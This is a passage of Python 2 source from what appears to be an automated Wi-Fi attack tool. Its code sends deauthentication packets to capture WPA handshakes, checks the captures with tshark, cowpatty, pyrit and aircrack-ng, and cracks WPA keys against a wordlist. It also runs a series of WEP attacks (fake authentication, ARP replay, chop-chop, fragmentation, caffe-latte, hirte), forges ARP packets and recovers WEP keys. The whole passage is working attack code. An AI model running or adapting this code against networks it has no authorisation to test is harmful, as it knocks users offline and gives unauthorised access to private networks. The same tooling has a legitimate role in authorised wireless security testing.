  1980. else:
  1981. print " %s sending %s deauth to %s... " % \
  1982. (GR + sec_to_hms(self.RUN_CONFIG.WPA_ATTACK_TIMEOUT - seconds_running) + W, \
  1983. G + str(self.RUN_CONFIG.WPA_DEAUTH_COUNT) + W, \
  1984. G + target_clients[client_index].bssid + W),
  1985. cmd.append('-h')
  1986. cmd.append(target_clients[client_index].bssid)
  1987. cmd.append(self.iface)
  1988. stdout.flush()
  1989. # Send deauth packets via aireplay, wait for them to complete.
  1990. proc_deauth = Popen(cmd, stdout=DN, stderr=DN)
  1991. proc_deauth.wait()
  1992. print "sent\r",
  1993. stdout.flush()
  1994. # Copy current dump file for consistency
  1995. if not os.path.exists(self.RUN_CONFIG.temp + 'wpa-01.cap'): continue
  1996. copy(self.RUN_CONFIG.temp + 'wpa-01.cap', self.RUN_CONFIG.temp + 'wpa-01.cap.temp')
  1997. # Save copy of cap file (for debugging)
  1998. #remove_file('/root/new/wpa-01.cap')
  1999. #copy(temp + 'wpa-01.cap', '/root/new/wpa-01.cap')
  2000. # Check for handshake
  2001. if self.has_handshake(self.target, self.RUN_CONFIG.temp + 'wpa-01.cap.temp'):
  2002. got_handshake = True
  2003. try:
  2004. os.mkdir(self.RUN_CONFIG.WPA_HANDSHAKE_DIR + os.sep)
  2005. except OSError:
  2006. pass
  2007. # Kill the airodump and aireplay processes
  2008. send_interrupt(proc_read)
  2009. send_interrupt(proc_deauth)
  2010. # Save a copy of the handshake
  2011. rename(self.RUN_CONFIG.temp + 'wpa-01.cap.temp', save_as)
  2012. print '\n %s %shandshake captured%s! saved as "%s"' % (
  2013. GR + sec_to_hms(seconds_running) + W, G, W, G + save_as + W)
  2014. self.RUN_CONFIG.WPA_FINDINGS.append(
  2015. '%s (%s) handshake captured' % (self.target.ssid, self.target.bssid))
  2016. self.RUN_CONFIG.WPA_FINDINGS.append('saved as %s' % (save_as))
  2017. self.RUN_CONFIG.WPA_FINDINGS.append('')
  2018. # Strip handshake if needed
  2019. if self.RUN_CONFIG.WPA_STRIP_HANDSHAKE: self.strip_handshake(save_as)
  2020. # Add the filename and SSID to the list of 'to-crack'
  2021. # Cracking will be handled after all attacks are finished.
  2022. self.RUN_CONFIG.WPA_CAPS_TO_CRACK.append(CapFile(save_as, self.target.ssid, self.target.bssid))
  2023. break # Break out of while loop
  2024. # No handshake yet
  2025. os.remove(self.RUN_CONFIG.temp + 'wpa-01.cap.temp')
  2026. # Check the airodump output file for new clients
  2027. for client in self.RUN_CONFIG.RUN_ENGINE.parse_csv(self.RUN_CONFIG.temp + 'wpa-01.csv')[1]:
  2028. if client.station != self.target.bssid: continue
  2029. new_client = True
  2030. for c in target_clients:
  2031. if client.bssid == c.bssid:
  2032. new_client = False
  2033. break
  2034. if new_client:
  2035. print " %s %snew client%s found: %s " % \
  2036. (GR + sec_to_hms(self.RUN_CONFIG.WPA_ATTACK_TIMEOUT - seconds_running) + W, G, W, \
  2037. G + client.bssid + W)
  2038. target_clients.append(client)
  2039. # End of Handshake wait loop.
  2040. if not got_handshake:
  2041. print R + ' [0:00:00]' + O + ' unable to capture handshake in time' + W
  2042. except KeyboardInterrupt:
  2043. print R + '\n (^C)' + O + ' WPA handshake capture interrupted' + W
  2044. if attack_interrupted_prompt():
  2045. remove_airodump_files(self.RUN_CONFIG.temp + 'wpa')
  2046. send_interrupt(proc_read)
  2047. send_interrupt(proc_deauth)
  2048. print ''
  2049. self.RUN_CONFIG.exit_gracefully(0)
  2050. # clean up
  2051. remove_airodump_files(self.RUN_CONFIG.temp + 'wpa')
  2052. send_interrupt(proc_read)
  2053. send_interrupt(proc_deauth)
  2054. return got_handshake
  2055. def has_handshake_tshark(self, target, capfile):
  2056. """
  2057. Uses TShark to check for a handshake.
  2058. Returns "True" if handshake is found, false otherwise.
  2059. """
  2060. if program_exists('tshark'):
  2061. # Call Tshark to return list of EAPOL packets in cap file.
  2062. cmd = ['tshark',
  2063. '-r', capfile, # Input file
  2064. '-R', 'eapol', # Filter (only EAPOL packets)
  2065. '-n'] # Do not resolve names (MAC vendors)
  2066. proc = Popen(cmd, stdout=PIPE, stderr=DN)
  2067. proc.wait()
  2068. lines = proc.communicate()[0].split('\n')
  2069. # Get list of all clients in cap file
  2070. clients = []
  2071. for line in lines:
  2072. if line.find('appears to have been cut short') != -1 or line.find(
  2073. 'Running as user "root"') != -1 or line.strip() == '':
  2074. continue
  2075. while line.startswith(' '): line = line[1:]
  2076. while line.find(' ') != -1: line = line.replace(' ', ' ')
  2077. fields = line.split(' ')
  2078. # ensure tshark dumped correct info
  2079. if len(fields) < 5:
  2080. continue
  2081. src = fields[2].lower()
  2082. dst = fields[4].lower()
  2083. if src == target.bssid.lower() and clients.count(dst) == 0:
  2084. clients.append(dst)
  2085. elif dst == target.bssid.lower() and clients.count(src) == 0:
  2086. clients.append(src)
  2087. # Check each client for a handshake
  2088. for client in clients:
  2089. msg_num = 1 # Index of message in 4-way handshake (starts at 1)
  2090. for line in lines:
  2091. if line.find('appears to have been cut short') != -1: continue
  2092. if line.find('Running as user "root"') != -1: continue
  2093. if line.strip() == '': continue
  2094. # Sanitize tshark's output, separate into fields
  2095. while line[0] == ' ': line = line[1:]
  2096. while line.find(' ') != -1: line = line.replace(' ', ' ')
  2097. fields = line.split(' ')
  2098. # Sometimes tshark doesn't display the full header for "Key (msg 3/4)" on the 3rd handshake.
  2099. # This catches this glitch and fixes it.
  2100. if len(fields) < 8:
  2101. continue
  2102. elif len(fields) == 8:
  2103. fields.append('(msg')
  2104. fields.append('3/4)')
  2105. src = fields[2].lower() # Source MAC address
  2106. dst = fields[4].lower() # Destination MAC address
  2107. if len(fields) == 12:
  2108. # "Message x of y" format
  2109. msg = fields[9][0]
  2110. else:
  2111. msg = fields[-1][0]
  2112. # First, third msgs in 4-way handshake are from the target to client
  2113. if msg_num % 2 == 1 and (src != target.bssid.lower() or dst != client):
  2114. continue
  2115. # Second, fourth msgs in 4-way handshake are from client to target
  2116. elif msg_num % 2 == 0 and (dst != target.bssid.lower() or src != client):
  2117. continue
  2118. # The messages must appear in sequential order.
  2119. try:
  2120. if int(msg) != msg_num: continue
  2121. except ValueError:
  2122. continue
  2123. msg_num += 1
  2124. # We need the first 4 messages of the 4-way handshake
  2125. # Although aircrack-ng cracks just fine with only 3 of the messages...
  2126. if msg_num >= 4:
  2127. return True
  2128. return False
  2129. def has_handshake_cowpatty(self, target, capfile, nonstrict=True):
  2130. """
  2131. Uses cowpatty to check for a handshake.
  2132. Returns "True" if handshake is found, false otherwise.
  2133. """
  2134. if not program_exists('cowpatty'): return False
  2135. # Call cowpatty to check if capfile contains a valid handshake.
  2136. cmd = ['cowpatty',
  2137. '-r', capfile, # input file
  2138. '-s', target.ssid, # SSID
  2139. '-c'] # Check for handshake
  2140. # Uses frames 1, 2, or 3 for key attack
  2141. if nonstrict: cmd.append('-2')
  2142. proc = Popen(cmd, stdout=PIPE, stderr=DN)
  2143. proc.wait()
  2144. response = proc.communicate()[0]
  2145. if response.find('incomplete four-way handshake exchange') != -1:
  2146. return False
  2147. elif response.find('Unsupported or unrecognized pcap file.') != -1:
  2148. return False
  2149. elif response.find('Unable to open capture file: Success') != -1:
  2150. return False
  2151. return True
  2152. def has_handshake_pyrit(self, target, capfile):
  2153. """
  2154. Uses pyrit to check for a handshake.
  2155. Returns "True" if handshake is found, false otherwise.
  2156. """
  2157. if not program_exists('pyrit'): return False
  2158. # Call pyrit to "Analyze" the cap file's handshakes.
  2159. cmd = ['pyrit',
  2160. '-r', capfile,
  2161. 'analyze']
  2162. proc = Popen(cmd, stdout=PIPE, stderr=DN)
  2163. proc.wait()
  2164. hit_essid = False
  2165. for line in proc.communicate()[0].split('\n'):
  2166. # Iterate over every line of output by Pyrit
  2167. if line == '' or line == None: continue
  2168. if line.find("AccessPoint") != -1:
  2169. hit_essid = (line.find("('" + target.ssid + "')") != -1) and \
  2170. (line.lower().find(target.bssid.lower()) != -1)
  2171. #hit_essid = (line.lower().find(target.bssid.lower()))
  2172. else:
  2173. # If Pyrit says it's good or workable, it's a valid handshake.
  2174. if hit_essid and (line.find(', good, ') != -1 or \
  2175. line.find(', workable, ') != -1):
  2176. return True
  2177. return False
  2178. def has_handshake_aircrack(self, target, capfile):
  2179. """
  2180. Uses aircrack-ng to check for handshake.
  2181. Returns True if found, False otherwise.
  2182. """
  2183. if not program_exists('aircrack-ng'): return False
  2184. crack = 'echo "" | aircrack-ng -a 2 -w - -b ' + target.bssid + ' ' + capfile
  2185. proc_crack = Popen(crack, stdout=PIPE, stderr=DN, shell=True)
  2186. proc_crack.wait()
  2187. txt = proc_crack.communicate()[0]
  2188. return (txt.find('Passphrase not in dictionary') != -1)
  2189. def has_handshake(self, target, capfile):
  2190. """
  2191. Checks if .cap file contains a handshake.
  2192. Returns True if handshake is found, False otherwise.
  2193. """
  2194. valid_handshake = True
  2195. tried = False
  2196. if self.RUN_CONFIG.WPA_HANDSHAKE_TSHARK:
  2197. tried = True
  2198. valid_handshake = self.has_handshake_tshark(target, capfile)
  2199. # if valid_handshake and self.RUN_CONFIG.WPA_HANDSHAKE_COWPATTY:
  2200. # tried = True
  2201. # valid_handshake = self.has_handshake_cowpatty(target, capfile)
  2202. # Use CowPatty to check for handshake.
  2203. if valid_handshake == False and self.RUN_CONFIG.WPA_HANDSHAKE_COWPATTY:
  2204. tried = True
  2205. valid_handshake = self.has_handshake_cowpatty(target, capfile)
  2206. # Check for handshake using Pyrit if applicable
  2207. if valid_handshake == False and self.RUN_CONFIG.WPA_HANDSHAKE_PYRIT:
  2208. tried = True
  2209. valid_handshake = self.has_handshake_pyrit(target, capfile)
  2210. # Check for handshake using aircrack-ng
  2211. if valid_handshake == False and self.RUN_CONFIG.WPA_HANDSHAKE_AIRCRACK:
  2212. tried = True
  2213. valid_handshake = self.has_handshake_aircrack(target, capfile)
  2214. if tried: return valid_handshake
  2215. print R + ' [!]' + O + ' unable to check for handshake: all handshake options are disabled!'
  2216. self.RUN_CONFIG.exit_gracefully(1)
  2217. def strip_handshake(self, capfile):
  2218. """
  2219. Uses Tshark or Pyrit to strip all non-handshake packets from a .cap file
  2220. File in location 'capfile' is overwritten!
  2221. """
  2222. output_file = capfile
  2223. if program_exists('pyrit'):
  2224. cmd = ['pyrit',
  2225. '-r', capfile,
  2226. '-o', capfile + '.temp',
  2227. 'stripLive']
  2228. call(cmd, stdout=DN, stderr=DN)
  2229. rename(capfile + '.temp', output_file)
  2230. elif program_exists('tshark'):
  2231. # strip results with tshark
  2232. cmd = ['tshark',
  2233. '-r', capfile, # input file
  2234. '-R', 'eapol || wlan_mgt.tag.interpretation', # filter
  2235. '-w', capfile + '.temp'] # output file
  2236. proc_strip = call(cmd, stdout=DN, stderr=DN)
  2237. rename(capfile + '.temp', output_file)
  2238. else:
  2239. print R + " [!]" + O + " unable to strip .cap file: neither pyrit nor tshark were found" + W
  2240. ##########################
  2241. # WPA CRACKING FUNCTIONS #
  2242. ##########################
  2243. def wpa_crack(capfile, RUN_CONFIG):
  2244. """
  2245. Cracks cap file using aircrack-ng
  2246. This is crude and slow. If people want to crack using pyrit or cowpatty or oclhashcat,
  2247. they can do so manually.
  2248. """
  2249. if RUN_CONFIG.WPA_DICTIONARY == '':
  2250. print R + ' [!]' + O + ' no WPA dictionary found! use -dict <file> command-line argument' + W
  2251. return False
  2252. print GR + ' [0:00:00]' + W + ' cracking %s with %s' % (G + capfile.ssid + W, G + 'aircrack-ng' + W)
  2253. start_time = time.time()
  2254. cracked = False
  2255. remove_file(RUN_CONFIG.temp + 'out.out')
  2256. remove_file(RUN_CONFIG.temp + 'wpakey.txt')
  2257. cmd = ['aircrack-ng',
  2258. '-a', '2', # WPA crack
  2259. '-w', RUN_CONFIG.WPA_DICTIONARY, # Wordlist
  2260. '-l', RUN_CONFIG.temp + 'wpakey.txt', # Save key to file
  2261. '-b', capfile.bssid, # BSSID of target
  2262. capfile.filename]
  2263. proc = Popen(cmd, stdout=open(RUN_CONFIG.temp + 'out.out', 'a'), stderr=DN)
  2264. try:
  2265. kt = 0 # Keys tested
  2266. kps = 0 # Keys per second
  2267. while True:
  2268. time.sleep(1)
  2269. if proc.poll() != None: # aircrack stopped
  2270. if os.path.exists(RUN_CONFIG.temp + 'wpakey.txt'):
  2271. # Cracked
  2272. inf = open(RUN_CONFIG.temp + 'wpakey.txt')
  2273. key = inf.read().strip()
  2274. inf.close()
  2275. RUN_CONFIG.WPA_FINDINGS.append('cracked wpa key for "%s" (%s): "%s"' % (
  2276. G + capfile.ssid + W, G + capfile.bssid + W, C + key + W))
  2277. RUN_CONFIG.WPA_FINDINGS.append('')
  2278. t = Target(capfile.bssid, 0, 0, 0, 'WPA', capfile.ssid)
  2279. t.key = key
  2280. RUN_CONFIG.save_cracked(t)
  2281. print GR + '\n [+]' + W + ' cracked %s (%s)!' % (G + capfile.ssid + W, G + capfile.bssid + W)
  2282. print GR + ' [+]' + W + ' key: "%s"\n' % (C + key + W)
  2283. cracked = True
  2284. else:
  2285. # Did not crack
  2286. print R + '\n [!]' + R + 'crack attempt failed' + O + ': passphrase not in dictionary' + W
  2287. break
  2288. inf = open(RUN_CONFIG.temp + 'out.out', 'r')
  2289. lines = inf.read().split('\n')
  2290. inf.close()
  2291. outf = open(RUN_CONFIG.temp + 'out.out', 'w')
  2292. outf.close()
  2293. for line in lines:
  2294. i = line.find(']')
  2295. j = line.find('keys tested', i)
  2296. if i != -1 and j != -1:
  2297. kts = line[i + 2:j - 1]
  2298. try:
  2299. kt = int(kts)
  2300. except ValueError:
  2301. pass
  2302. i = line.find('(')
  2303. j = line.find('k/s)', i)
  2304. if i != -1 and j != -1:
  2305. kpss = line[i + 1:j - 1]
  2306. try:
  2307. kps = float(kpss)
  2308. except ValueError:
  2309. pass
  2310. print "\r %s %s keys tested (%s%.2f keys/sec%s) " % \
  2311. (GR + sec_to_hms(time.time() - start_time) + W, G + add_commas(kt) + W, G, kps, W),
  2312. stdout.flush()
  2313. except KeyboardInterrupt:
  2314. print R + '\n (^C)' + O + ' WPA cracking interrupted' + W
  2315. send_interrupt(proc)
  2316. try:
  2317. os.kill(proc.pid, SIGTERM)
  2318. except OSError:
  2319. pass
  2320. return cracked
  2321. def add_commas(n):
  2322. """
  2323. Receives integer n, returns string representation of n with commas in thousands place.
  2324. I'm sure there's easier ways of doing this... but meh.
  2325. """
  2326. strn = str(n)
  2327. lenn = len(strn)
  2328. i = 0
  2329. result = ''
  2330. while i < lenn:
  2331. if (lenn - i) % 3 == 0 and i != 0: result += ','
  2332. result += strn[i]
  2333. i += 1
  2334. return result
  2335. #################
  2336. # WEP FUNCTIONS #
  2337. #################
  2338. class WEPAttack(Attack):
  2339. def __init__(self, iface, target, clients, config):
  2340. self.iface = iface
  2341. self.target = target
  2342. self.clients = clients
  2343. self.RUN_CONFIG = config
  2344. def RunAttack(self):
  2345. '''
  2346. Abstract method for dispatching the WEP crack
  2347. '''
  2348. self.attack_wep()
  2349. def EndAttack(self):
  2350. '''
  2351. Abstract method for ending the WEP attack
  2352. '''
  2353. pass
  2354. def attack_wep(self):
  2355. """
  2356. Attacks WEP-encrypted network.
  2357. Returns True if key was successfully found, False otherwise.
  2358. """
  2359. if self.RUN_CONFIG.WEP_TIMEOUT <= 0: self.RUN_CONFIG.WEP_TIMEOUT = -1
  2360. total_attacks = 6 # 4 + (2 if len(clients) > 0 else 0)
  2361. if not self.RUN_CONFIG.WEP_ARP_REPLAY: total_attacks -= 1
  2362. if not self.RUN_CONFIG.WEP_CHOPCHOP: total_attacks -= 1
  2363. if not self.RUN_CONFIG.WEP_FRAGMENT: total_attacks -= 1
  2364. if not self.RUN_CONFIG.WEP_CAFFELATTE: total_attacks -= 1
  2365. if not self.RUN_CONFIG.WEP_P0841: total_attacks -= 1
  2366. if not self.RUN_CONFIG.WEP_HIRTE: total_attacks -= 1
  2367. if total_attacks <= 0:
  2368. print R + ' [!]' + O + ' unable to initiate WEP attacks: no attacks are selected!'
  2369. return False
  2370. remaining_attacks = total_attacks
  2371. print ' %s preparing attack "%s" (%s)' % \
  2372. (GR + sec_to_hms(self.RUN_CONFIG.WEP_TIMEOUT) + W, G + self.target.ssid + W, G + self.target.bssid + W)
  2373. remove_airodump_files(self.RUN_CONFIG.temp + 'wep')
  2374. remove_file(self.RUN_CONFIG.temp + 'wepkey.txt')
  2375. # Start airodump process to capture packets
  2376. cmd_airodump = ['airodump-ng',
  2377. '-w', self.RUN_CONFIG.temp + 'wep', # Output file name (wep-01.cap, wep-01.csv)
  2378. '-c', self.target.channel, # Wireless channel
  2379. '--bssid', self.target.bssid,
  2380. self.iface]
  2381. proc_airodump = Popen(cmd_airodump, stdout=DN, stderr=DN)
  2382. proc_aireplay = None
  2383. proc_aircrack = None
  2384. successful = False # Flag for when attack is successful
  2385. started_cracking = False # Flag for when we have started aircrack-ng
  2386. client_mac = '' # The client mac we will send packets to/from
  2387. total_ivs = 0
  2388. ivs = 0
  2389. last_ivs = 0
  2390. for attack_num in xrange(0, 6):
  2391. # Skip disabled attacks
  2392. if attack_num == 0 and not self.RUN_CONFIG.WEP_ARP_REPLAY:
  2393. continue
  2394. elif attack_num == 1 and not self.RUN_CONFIG.WEP_CHOPCHOP:
  2395. continue
  2396. elif attack_num == 2 and not self.RUN_CONFIG.WEP_FRAGMENT:
  2397. continue
  2398. elif attack_num == 3 and not self.RUN_CONFIG.WEP_CAFFELATTE:
  2399. continue
  2400. elif attack_num == 4 and not self.RUN_CONFIG.WEP_P0841:
  2401. continue
  2402. elif attack_num == 5 and not self.RUN_CONFIG.WEP_HIRTE:
  2403. continue
  2404. remaining_attacks -= 1
  2405. try:
  2406. if self.wep_fake_auth(self.iface, self.target, sec_to_hms(self.RUN_CONFIG.WEP_TIMEOUT)):
  2407. # Successful fake auth
  2408. client_mac = self.RUN_CONFIG.THIS_MAC
  2409. elif not self.RUN_CONFIG.WEP_IGNORE_FAKEAUTH:
  2410. send_interrupt(proc_aireplay)
  2411. send_interrupt(proc_airodump)
  2412. print R + ' [!]' + O + ' unable to fake-authenticate with target'
  2413. print R + ' [!]' + O + ' to skip this speed bump, select "ignore-fake-auth" at command-line'
  2414. return False
  2415. remove_file(self.RUN_CONFIG.temp + 'arp.cap')
  2416. # Generate the aireplay-ng arguments based on attack_num and other params
  2417. cmd = self.get_aireplay_command(self.iface, attack_num, self.target, self.clients, client_mac)
  2418. if cmd == '': continue
  2419. if proc_aireplay != None:
  2420. send_interrupt(proc_aireplay)
  2421. proc_aireplay = Popen(cmd, stdout=DN, stderr=DN)
  2422. print '\r %s attacking "%s" via' % (
  2423. GR + sec_to_hms(self.RUN_CONFIG.WEP_TIMEOUT) + W, G + self.target.ssid + W),
  2424. if attack_num == 0:
  2425. print G + 'arp-replay',
  2426. elif attack_num == 1:
  2427. print G + 'chop-chop',
  2428. elif attack_num == 2:
  2429. print G + 'fragmentation',
  2430. elif attack_num == 3:
  2431. print G + 'caffe-latte',
  2432. elif attack_num == 4:
  2433. print G + 'p0841',
  2434. elif attack_num == 5:
  2435. print G + 'hirte',
  2436. print 'attack' + W
  2437. print ' %s captured %s%d%s ivs @ %s iv/sec' % (
  2438. GR + sec_to_hms(self.RUN_CONFIG.WEP_TIMEOUT) + W, G, total_ivs, W, G + '0' + W),
  2439. stdout.flush()
  2440. time.sleep(1)
  2441. if attack_num == 1:
  2442. # Send a deauth packet to broadcast and all clients *just because!*
  2443. self.wep_send_deauths(self.iface, self.target, self.clients)
  2444. last_deauth = time.time()
  2445. replaying = False
  2446. time_started = time.time()
  2447. while time.time() - time_started < self.RUN_CONFIG.WEP_TIMEOUT:
  2448. # time.sleep(5)
  2449. for time_count in xrange(0, 6):
  2450. if self.RUN_CONFIG.WEP_TIMEOUT == -1:
  2451. current_hms = "[endless]"
  2452. else:
  2453. current_hms = sec_to_hms(self.RUN_CONFIG.WEP_TIMEOUT - (time.time() - time_started))
  2454. print "\r %s\r" % (GR + current_hms + W),
  2455. stdout.flush()
  2456. time.sleep(1)
  2457. # Calculates total seconds remaining
  2458. # Check number of IVs captured
  2459. csv = self.RUN_CONFIG.RUN_ENGINE.parse_csv(self.RUN_CONFIG.temp + 'wep-01.csv')[0]
  2460. if len(csv) > 0:
  2461. ivs = int(csv[0].data)
  2462. print "\r ",
  2463. print "\r %s captured %s%d%s ivs @ %s%d%s iv/sec" % \
  2464. (GR + current_hms + W, G, total_ivs + ivs, W, G, (ivs - last_ivs) / 5, W),
  2465. if ivs - last_ivs == 0 and time.time() - last_deauth > 30:
  2466. print "\r %s deauthing to generate packets..." % (GR + current_hms + W),
  2467. self.wep_send_deauths(self.iface, self.target, self.clients)
  2468. print "done\r",
  2469. last_deauth = time.time()
  2470. last_ivs = ivs
  2471. stdout.flush()
  2472. if total_ivs + ivs >= self.RUN_CONFIG.WEP_CRACK_AT_IVS and not started_cracking:
  2473. # Start cracking
  2474. cmd = ['aircrack-ng',
  2475. '-a', '1',
  2476. '-l', self.RUN_CONFIG.temp + 'wepkey.txt']
  2477. #temp + 'wep-01.cap']
  2478. # Append all .cap files in temp directory (in case we are resuming)
  2479. for f in os.listdir(self.RUN_CONFIG.temp):
  2480. if f.startswith('wep-') and f.endswith('.cap'):
  2481. cmd.append(self.RUN_CONFIG.temp + f)
  2482. print "\r %s started %s (%sover %d ivs%s)" % (
  2483. GR + current_hms + W, G + 'cracking' + W, G, self.RUN_CONFIG.WEP_CRACK_AT_IVS, W)
  2484. proc_aircrack = Popen(cmd, stdout=DN, stderr=DN)
  2485. started_cracking = True
  2486. # Check if key has been cracked yet.
  2487. if os.path.exists(self.RUN_CONFIG.temp + 'wepkey.txt'):
  2488. # Cracked!
  2489. infile = open(self.RUN_CONFIG.temp + 'wepkey.txt', 'r')
  2490. key = infile.read().replace('\n', '')
  2491. infile.close()
  2492. print '\n\n %s %s %s (%s)! key: "%s"' % (
  2493. current_hms, G + 'cracked', self.target.ssid + W, G + self.target.bssid + W, C + key + W)
  2494. self.RUN_CONFIG.WEP_FINDINGS.append(
  2495. 'cracked %s (%s), key: "%s"' % (self.target.ssid, self.target.bssid, key))
  2496. self.RUN_CONFIG.WEP_FINDINGS.append('')
  2497. t = Target(self.target.bssid, 0, 0, 0, 'WEP', self.target.ssid)
  2498. t.key = key
  2499. self.RUN_CONFIG.save_cracked(t)
  2500. # Kill processes
  2501. send_interrupt(proc_airodump)
  2502. send_interrupt(proc_aireplay)
  2503. try:
  2504. os.kill(proc_aireplay, SIGTERM)
  2505. except:
  2506. pass
  2507. send_interrupt(proc_aircrack)
  2508. # Remove files generated by airodump/aireplay/packetforce
  2509. time.sleep(0.5)
  2510. remove_airodump_files(self.RUN_CONFIG.temp + 'wep')
  2511. remove_file(self.RUN_CONFIG.temp + 'wepkey.txt')
  2512. return True
  2513. # Check if aireplay is still executing
  2514. if proc_aireplay.poll() == None:
  2515. if replaying:
  2516. print ', ' + G + 'replaying \r' + W,
  2517. elif attack_num == 1 or attack_num == 2:
  2518. print ', waiting for packet \r',
  2519. stdout.flush()
  2520. continue
  2521. # At this point, aireplay has stopped
  2522. if attack_num != 1 and attack_num != 2:
  2523. print '\r %s attack failed: %saireplay-ng exited unexpectedly%s' % (R + current_hms, O, W)
  2524. break # Break out of attack's While loop
  2525. # Check for a .XOR file (we expect one when doing chopchop/fragmentation
  2526. xor_file = ''
  2527. for filename in sorted(os.listdir(self.RUN_CONFIG.temp)):
  2528. if filename.lower().endswith('.xor'): xor_file = self.RUN_CONFIG.temp + filename
  2529. if xor_file == '':
  2530. print '\r %s attack failed: %sunable to generate keystream %s' % (R + current_hms, O, W)
  2531. break
  2532. remove_file(self.RUN_CONFIG.temp + 'arp.cap')
  2533. cmd = ['packetforge-ng',
  2534. '-0',
  2535. '-a', self.target.bssid,
  2536. '-h', client_mac,
  2537. '-k', '192.168.1.2',
  2538. '-l', '192.168.1.100',
  2539. '-y', xor_file,
  2540. '-w', self.RUN_CONFIG.temp + 'arp.cap',
  2541. self.iface]
  2542. proc_pforge = Popen(cmd, stdout=PIPE, stderr=DN)
  2543. proc_pforge.wait()
  2544. forged_packet = proc_pforge.communicate()[0]
  2545. remove_file(xor_file)
  2546. if forged_packet == None: result = ''
  2547. forged_packet = forged_packet.strip()
  2548. if not forged_packet.find('Wrote packet'):
  2549. print "\r %s attack failed: unable to forget ARP packet %s" % (
  2550. R + current_hms + O, W)
  2551. break
  2552. # We were able to forge a packet, so let's replay it via aireplay-ng
  2553. cmd = ['aireplay-ng',
  2554. '--ignore-negative-one',
  2555. '--arpreplay',
  2556. '-b', self.target.bssid,
  2557. '-r', self.RUN_CONFIG.temp + 'arp.cap', # Used the forged ARP packet
  2558. '-F', # Select the first packet
  2559. self.iface]
  2560. proc_aireplay = Popen(cmd, stdout=DN, stderr=DN)
  2561. print '\r %s forged %s! %s... ' % (
  2562. GR + current_hms + W, G + 'arp packet' + W, G + 'replaying' + W)
  2563. replaying = True
  2564. # After the attacks, if we are already cracking, wait for the key to be found!
  2565. while started_cracking: # ivs > WEP_CRACK_AT_IVS:
  2566. time.sleep(5)
  2567. # Check number of IVs captured
  2568. csv = self.RUN_CONFIG.RUN_ENGINE.parse_csv(self.RUN_CONFIG.temp + 'wep-01.csv')[0]
  2569. if len(csv) > 0:
  2570. ivs = int(csv[0].data)
  2571. print GR + " [endless]" + W + " captured %s%d%s ivs, iv/sec: %s%d%s \r" % \
  2572. (G, total_ivs + ivs, W, G, (ivs - last_ivs) / 5, W),
  2573. last_ivs = ivs
  2574. stdout.flush()
  2575. # Check if key has been cracked yet.
  2576. if os.path.exists(self.RUN_CONFIG.temp + 'wepkey.txt'):
  2577. # Cracked!
  2578. infile = open(self.RUN_CONFIG.temp + 'wepkey.txt', 'r')
  2579. key = infile.read().replace('\n', '')
  2580. infile.close()
  2581. print GR + '\n\n [endless] %s %s (%s)! key: "%s"' % (
  2582. G + 'cracked', self.target.ssid + W, G + self.target.bssid + W, C + key + W)
  2583. self.RUN_CONFIG.WEP_FINDINGS.append(
  2584. 'cracked %s (%s), key: "%s"' % (self.target.ssid, self.target.bssid, key))
  2585. self.RUN_CONFIG.WEP_FINDINGS.append('')
  2586. t = Target(self.target.bssid, 0, 0, 0, 'WEP', self.target.ssid)
  2587. t.key = key
  2588. self.RUN_CONFIG.save_cracked(t)
  2589. # Kill processes
  2590. send_interrupt(proc_airodump)
  2591. send_interrupt(proc_aireplay)
  2592. send_interrupt(proc_aircrack)
  2593. # Remove files generated by airodump/aireplay/packetforce
  2594. remove_airodump_files(self.RUN_CONFIG.temp + 'wep')
  2595. remove_file(self.RUN_CONFIG.temp + 'wepkey.txt')
  2596. return True
  2597. # Keyboard interrupt during attack
  2598. except KeyboardInterrupt:
  2599. print R + '\n (^C)' + O + ' WEP attack interrupted\n' + W
  2600. send_interrupt(proc_airodump)
  2601. if proc_aireplay != None:
  2602. send_interrupt(proc_aireplay)
  2603. if proc_aircrack != None:
  2604. send_interrupt(proc_aircrack)
  2605. options = []
  2606. selections = []
  2607. if remaining_attacks > 0:
  2608. options.append('%scontinue%s attacking this target (%d remaining WEP attack%s)' % \
  2609. (G, W, (remaining_attacks), 's' if remaining_attacks != 1 else ''))
  2610. selections.append(G + 'c' + W)
  2611. if self.RUN_CONFIG.TARGETS_REMAINING > 0:
  2612. options.append('%sskip%s this target, move onto next target (%d remaining target%s)' % \
  2613. (O, W, self.RUN_CONFIG.TARGETS_REMAINING,
  2614. 's' if self.RUN_CONFIG.TARGETS_REMAINING != 1 else ''))
  2615. selections.append(O + 's' + W)
  2616. options.append('%sexit%s the program completely' % (R, W))
  2617. selections.append(R + 'e' + W)
  2618. if len(options) > 1:
  2619. # Ask user what they want to do, Store answer in "response"
  2620. print GR + ' [+]' + W + ' what do you want to do?'
  2621. response = ''
  2622. while response != 'c' and response != 's' and response != 'e':
  2623. for option in options:
  2624. print ' %s' % option
  2625. response = raw_input(
  2626. GR + ' [+]' + W + ' please make a selection (%s): ' % (', '.join(selections))).lower()[0]
  2627. else:
  2628. response = 'e'
  2629. if response == 'e' or response == 's':
  2630. # Exit or skip target (either way, stop this attack)
  2631. if self.RUN_CONFIG.WEP_SAVE:
  2632. # Save packets
  2633. save_as = re.sub(r'[^a-zA-Z0-9]', '', self.target.ssid) + '_' + self.target.bssid.replace(':',
  2634. '-') + '.cap' + W
  2635. try:
  2636. rename(self.RUN_CONFIG.temp + 'wep-01.cap', save_as)
  2637. except OSError:
  2638. print R + ' [!]' + O + ' unable to save capture file!' + W
  2639. else:
  2640. print GR + ' [+]' + W + ' packet capture ' + G + 'saved' + W + ' to ' + G + save_as + W
  2641. # Remove files generated by airodump/aireplay/packetforce
  2642. for filename in os.listdir('.'):
  2643. if filename.startswith('replay_arp-') and filename.endswith('.cap'):
  2644. remove_file(filename)
  2645. remove_airodump_files(self.RUN_CONFIG.temp + 'wep')
  2646. remove_file(self.RUN_CONFIG.temp + 'wepkey.txt')
  2647. print ''
  2648. if response == 'e':
  2649. self.RUN_CONFIG.exit_gracefully(0)
  2650. return
  2651. elif response == 'c':
  2652. # Continue attacks
  2653. # Need to backup temp/wep-01.cap and remove airodump files
  2654. i = 2
  2655. while os.path.exists(self.RUN_CONFIG.temp + 'wep-' + str(i) + '.cap'):
  2656. i += 1
  2657. copy(self.RUN_CONFIG.temp + "wep-01.cap", self.RUN_CONFIG.temp + 'wep-' + str(i) + '.cap')
  2658. remove_airodump_files(self.RUN_CONFIG.temp + 'wep')
  2659. # Need to restart airodump-ng, as it's been interrupted/killed
  2660. proc_airodump = Popen(cmd_airodump, stdout=DN, stderr=DN)
  2661. # Say we haven't started cracking yet, so we re-start if needed.
  2662. started_cracking = False
  2663. # Reset IVs counters for proper behavior
  2664. total_ivs += ivs
